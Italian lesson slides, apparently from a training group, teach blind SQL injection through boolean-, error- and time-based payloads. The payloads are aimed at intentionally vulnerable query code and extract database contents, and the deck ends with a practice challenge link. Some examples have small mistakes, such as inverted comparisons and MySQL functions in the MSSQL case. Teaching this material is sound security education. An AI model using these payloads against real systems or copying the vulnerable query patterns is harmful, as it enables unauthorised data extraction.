coppito_zero_day

SQL INJECTION

LESSON 02

'BLIND SQL INJECTION

Cosa vuol dire BLIND SQL INJECTION?

Una BLIND SQL INJECTION è una tecnica di SQLi che ci permette di estrarre informazioni dal DB senza utilizzare i messaggi di errore verbosi o la concatenazione di dati.

'BLIND SQL INJECTION

Scenari ricorrenti:

- Viene restituito un errore generico (non sono visibili i messaggi di errore SQL) e possiamo controllare l'output in qualche modo (senza poter iniettare direttamente valori).
- Viene restituito un errore generico (non sono visibili i messaggi di errore SQL), ma non possiamo controllare l'output in nessun modo.
- Non vengono restituiti messaggi di errore e non possiamo controllare l'output in nessun modo.

'BOOLEAN BASED INJECTION

Si utilizza quando non possiamo controllare direttamente l'output con valori arbitrari, ma possiamo comunque osservare nei cambiamenti nella risposta.
L'idea è quella di iniettare un ramo condizionale nella query e osservare quando la risposta cambia.

'BOOLEAN BASED INJECTION

ESEMPIO

```
connection.query("SELECT COUNT(id) FROM pages WHERE status = '" + req.body.status + "'",
  function(error, result) {
    if (error) {
      console.log("Generic error");
    } else {
      console.log("There are " + result + "pages.");
    }
  }
);
```

Valore in input:

```
status = "'"; // Generic Error
status = "published"; // Default behaviour, outputs "There are 15 pages"
```

Non possiamo usare una UNION poichè viene restituito il numero di pagine.

'BOOLEAN BASED INJECTION

ESEMPIO

Possiamo osservare i cambiamenti nella response.
Se aggiungiamo una condizione `WHERE` sempre `false` possiamo essere sicuri che l'output sarà sempre `There are 0 pages`.
Valore in input:

```
status = "published' AND 1=0 -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published' AND 1=0 -- -' # Always FALSE
```

Response:

```
There are 0 pages
```

'BOOLEAN BASED INJECTION

ESEMPIO

Per sfruttare una `BOOLEAN BASED INJECTION` possiamo inserire una condizione che ci permetta di dedurre delle informazioni.

Valore in input:

```
status = "published' AND SUBSTRING(database(), 1, 1) = 'a' -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'a' -- -' # True if database first letter is 'a'
```

'BOOLEAN BASED INJECTION

ESEMPIO

Assumiamo che il nome del database sia "web".

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'a' -- -' # False

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'b' -- -' # False
...
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'w' -- -' # True
```

Possiamo dedurre il risultato della condizione (`True` /`False`) dalla response che mostrerà `There are 15 pages` per `True` e `There are 0 pages` per `False`.

'BOOLEAN BASED INJECTION

GET ALL CHARS

Risultato:

```sql
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 1, 1) = 'w' -- -' # True

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 2, 1) = 'e' -- -' # True

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND SUBSTRING(database(), 3, 1) = 'b' -- -' # True
```

'BOOLEAN BASED INJECTION

GET THE END OF STRINGS

`SUBSTRING` non ci da informazioni sulla fine della stringa.
Possiamo usare `LENGTH`.

Valore in input:

```
status = "published' AND LENGTH(database()) = 1 -- -
```

Risultato:

```
SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 1 -- - # False

SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 2 -- - # False

SELECT COUNT(id) FROM pages
WHERE status = 'published' AND LENGTH(database()) = 3 -- - # True
```

'BOOLEAN BASED INJECTION

SPEED UP

In questo modo dobbiamo testare tutti i caratteri e questo non è efficiente.
Poichè un byte può contenere 256 valori possiamo usare la binary search e dedurre il valore di un byte in 8 richieste:
Assumendo che il nostro valore è 119:

1. Is the byte greater than 127? No, because 119 < 127.
2. Is the byte greater than 63? Yes, because 119 > 63.
3. Is the byte greater than 95? Yes, because 119 > 95.
4. Is the byte greater than 111? Yes, because 119 > 111.
5. Is the byte greater than 119? No, because 119 = 119.
6. Is the byte greater than 115? Yes, because 119 > 115.
7. Is the byte greater than 117? Yes, because 119 > 117.
8. Is the byte greater than 118? Yes, because 119 > 118.

'BOOLEAN BASED INJECTION

SPEED UP

La funzione `ASCII` viene in aiuto.

```
SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 127 -- -' # False

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 63 -- -' # True
...

SELECT COUNT(id) FROM pages WHERE status = 'published'
AND ASCII(SUBSTRING(database(), 1, 1)) > 118 -- -' # True
```

Svantaggio: le query devono susseguirsi.

Possiamo usare l'approccio "bit-to-bit" che ci permette di fare 8 richieste in parallelo.

'BLIND ERROR BASED INJECTION

Si utilizza quando non possiamo controllare l'output, ma possiamo comunque osservare degli errori generici quando la sintassi non è corretta.

L'idea è quella di iniettare un ramo condizionale nella query (come per `BOOLEAN BASED`) e osservare quando riceviamo un errore.

CONDITIONAL EXPRESSIONS IN POSTGRESQL E MSSQL

```
SELECT
  CASE
    WHEN 127 > 2 THEN 'YES'
    ELSE 'NO'
  END
```

La prima espression `127 < 2` viene valutata e, quando vero, questa SELECT torna `YES` oppure `NO`.

CONDITIONAL EXPRESSIONS IN MYSQL

```
SELECT
  IF (
    127 > 2,
    'YES',
    'NO'
  )
```

La prima espressione `127 < 2` viene valutata e, quando vero, questa SELECT torna `YES` oppure `NO`.

'BLIND ERROR BASED EXAMPLE

ESEMPIO

```ruby
require 'pg'
conn = PG.connect(:dbname => 'web', :user => 'user', :password => 'password')
begin
  res  = conn.exec("SELECT COUNT(id) FROM pages WHERE status = '#{params[:status]}'")
  puts "Query executed"
rescue PG::Error => err
  puts "Generic error"
end
```

Obiettivo: iniettare un ramo condizionale `CASE`.

Per riconoscere la nostra condizione dobbiamo provocare un errore SQL mantenendo una sintassi corretta.

In PostegreSQL `1/0` ha una sintassi corretta ma produce un errore `Division by zero`.

In Mysql possiamo usare una subquery che torna righe multiple in un confronto: `SELECT * FROM news WHERE id = (SELECT table_name FROM information_schema.columns)`.

'BLIND ERROR BASED INJECTION

ESEMPIO

Dobbiamo iniettare questo SQL:

```
SELECT
  CASE
    WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
    THEN (1/0)
    ELSE 1
END
```

per controllare che la prima lettera di `current_database()` sia una `a`.
Per aggiungere questa query a quella vulnerabile possiamo usare `UNION`.

'BLIND ERROR BASED INJECTION

ESEMPIO

Valore in input:

```
status = "' UNION ALL SELECT
        CASE WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
        THEN (1/0) ELSE 1 END; -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION ALL
SELECT
  CASE
    WHEN (SUBSTRING(current_database(), 1, 1) = 'a')
    THEN (1/0)
    ELSE 1
  END -- -'
```

Se la prima lettera di `current_database()` è una `a`, verrà eseguito `1/0` e ne scaturirà un errore.

'BLIND ERROR BASED INJECTION

ESEMPIO

Come visto prima possiamo utilizzare la binary search o 'bit-to-bit' per ottenere ogni byte in 8 richieste

Valore in input:

```
status = '' UNION ALL SELECT
        CASE WHEN (ASCII(SUBSTRING(current_database(), 1, 2)) > 127)
        THEN (1/0) ELSE 1 END; -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION ALL
SELECT
  CASE
    WHEN (ASCII(SUBSTRING(current_database(), 1, 2)) > 127)
    THEN (1/0)
    ELSE 1
  END
```

'TIME BASED INJECTION

Si utilizza quando non abbiamo alcun controllo sull'output.

L'idea è quella di iniettare un ramo condizionale che introduca un ritardo nell'esecuzione della query quando vera (o falsa).

Misurando il tempo di risposta possiamo sapere se la condizione è vera o falsa.

DELAY IN MYSQL

`SLEEP` mette in pausa la query per un numero fisso di secondi.
`SLEEP(480.001)` mette in pausa la query per `480.001` secondi.

`BENCHMARK(N, expression)` esegue `expression` per `N` volte.
`BENCHMARK(480000, RAND())` esegue l'istruzione `RAND()` per `480000` volte.

La principale differenza tra `SLEEP` e `BENCHMARK` è che `SLEEP` introduce un tempo fisso che possiamo controllare, mentre `BENCHMARK` introduce un ritardo variabile che dipende da altri fattori.

'TIME BASED EXAMPLE (MYSQL)

```
def count_pages(status):
  with connection.cursor() as cursor:
    cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
    result = cursor.fetchone()
    update_pages_count(result[0]) # This function does not produce output
    return 'ok'
);
```

Valore in input:

```
status = "' UNION SELECT IF (ASCII(SUBSTRING(database(), 1, 1)) > 127, SLEEP(5), 1) -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION SELECT IF (
  ASCII(SUBSTRING(database(), 1, 1)) > 127,
  SLEEP(5),
  1
) -- -'
```

Se la condizione è vera la query verrà messa in pausa per 5 secondi `SLEEP(5)`, altrimenti torna immediatamente 1.

'TIME BASED EXAMPLE (MYSQL)

```
def count_pages(status):
  with connection.cursor() as cursor:
    cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
    result = cursor.fetchone()
    update_pages_count(result[0]) # This function does not produce output
    return 'ok'
);
```

Valore in input:

```
status = '' UNION SELECT
        IF (ASCII(SUBSTRING(database(), 1, 1)) > 127, BENCHMARK(480000, RAND()), 1) -- -"
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = ''
UNION SELECT IF (
  ASCII(SUBSTRING(database(), 1, 1)) > 127,
  BENCHMARK(480000, RAND()),
  1
) -- -'
```

Se la condizione è vera la query verrà eseguito `RAND()` 480000 volte, introducento un ritardo, altrimenti torna immediatamente 1.

DELAY IN MSSQL

`WAITFOR()` mette in pausa una query.
`WAITFOR 15:00` mette in pausa la query fino alle ore `15:00`.
`WAITFOR DELAY '00:00:05'` mette in pausa la query per `5` secondi (`DELAY` ci permette di specificare un tempo relativo).

La principale differenza tra `WAITFOR` e `BENCHMARK` o `SLEEP` è che `WAITFOR` non può essere usata in una subquery.
Ma siamo su MSSQL e possiamo usare le `STACKED QUERIES`. Whoa!

'TIME BASED EXAMPLE (MSSQL)

```
def count_pages(status):
  with connection.cursor() as cursor:
    cursor.execute("""SELECT COUNT(id) FROM pages WHERE status = '%s'""" % status)
    result = cursor.fetchone()
    update_pages_count(result[0]) # This function does not produce output
    return 'ok'
);
```

Valore in input:

```
status = "published'; IF (ASCII(SUBSTRING(database(), 1, 1)) > 127)) WAITFOR DELAY '00:00:05' -- -";
```

Risultato:

```
SELECT COUNT(id) FROM pages WHERE status = 'published';
IF (ASCII(SUBSTRING(database(), 1, 1)) > 127)) WAITFOR DELAY '00:00:05' -- -";
```

La prima query viene eseguita normalmente.

Nella seconda, se la condizione è vera la query verrà messa in pausa per 5 secondi (`WAITFOR DELAY '00:00:05'`).

TIME BASED (EXTRA)

Nel mondo reale il tempo di esecuzione di una query dipende da molti fattori.
Come possiamo essere sicuri di intercettare il ritardo introdotto da noi?

Soluzioni:

- Introduciamo un tempo sufficientemente lungo da escludere l'influenza di altri fattori (attenzione ai timeout).
- Inviamo due query nello stesso momento con condizioni invertite: la prima che torna non ha introdotto ritardo.

coppito_zero_day

TOOL

coppito_zero_day

CHALLENGE

HTTP://167.172.164.187/LESSON-02/